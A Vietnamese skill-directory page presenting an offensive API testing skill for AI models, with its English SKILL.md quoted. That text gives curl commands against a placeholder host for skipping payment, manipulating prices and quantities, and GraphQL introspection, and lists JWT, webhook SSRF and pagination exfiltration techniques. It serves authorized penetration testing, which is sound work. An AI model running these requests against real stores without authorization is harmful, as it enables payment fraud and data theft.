Chuyển đến nội dung
Skillpedia
Bảo mật10k · #11945

offensive-api-abuse

Skill này làm gì

Skill này là phương pháp kiểm thử được ủy quyền cho logic nghiệp vụ của các ứng dụng dựa trên API. Nó bao quát bỏ qua quy trình, tấn công GraphQL, lạm dụng phân trang và điều kiện đua. Nó dành cho chuyên gia bảo mật kiểm thử API của một ứng dụng trong phạm vi đã xác định.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử các quy trình nghiệp vụ của một API để tìm lạm dụng trong một đánh giá được ủy quyền.
  • ✓Khi một ứng dụng dùng GraphQL và bạn cần kiểm thử batching, độ sâu truy vấn hoặc introspection.
  • ✓Khi bạn muốn kiểm tra một API về điều kiện đua hoặc việc lộ dữ liệu phân trang trong một bài kiểm thử đã ký duyệt.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi có ủy quyền kiểm thử API cửa hàng của mình. Tìm lỗi logic nghiệp vụ trong quy trình thanh toán.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill lập bản đồ bề mặt API, mô hình hóa các bước của quy trình, và kiểm tra từng bước về điều kiện đua và lỗ hổng logic. Nó cũng kiểm tra JWT, các tính năng GraphQL và webhook, rồi xác minh mọi phát hiện.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Offensive API Abuse and Advanced Exploitation

You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.

Quick Workflow

  1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
  2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
  3. Test each workflow for race conditions using parallel request techniques.
  4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
  5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
  6. Probe pagination for data enumeration and exfiltration opportunities.
  7. Test webhook configurations for SSRF and callback hijacking.
  8. Search for API key leakage in client code, error responses, and public repositories.
  9. Verify all discovered endpoints for authorization consistency.
  10. Document business impact for each finding with financial or operational consequence estimates.

Business Logic Bypass via API Chaining

Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.

# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items" | jq .

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_code": "SAVE20"}' \
  "https://target.example.com/api/v1/cart/coupon" | jq .

# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "CART-12345"}' \
  "https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/calculate"

curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/items/EXPENSIVE-001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"payment_method": "card_on_file"}' \
  "https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status": "pending"}' \
  "https://target.example.com/api/v1/orders/ORD-5001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": -1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100, "currency": "IDR"}' \
  "https://target.example.com/api/v1/payments"

GraphQL Batching and Abuse

GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.

# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == 
Câu hỏi thường gặp

Đây có dành cho kiểm thử không có sự cho phép không?

Không. Skill dành cho các đánh giá được ủy quyền có phạm vi xác định.

Lạm dụng logic nghiệp vụ là gì?

Đó là việc lạm dụng các bước bình thường của quy trình ứng dụng, chẳng hạn gọi các lời gọi API theo thứ tự bất ngờ.

Nó có bao quát GraphQL không?

Có. Nó bao quát batching, độ sâu truy vấn và introspection.

Chi tiết

Mô tả gốc của tác giả

Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request te

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11945
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự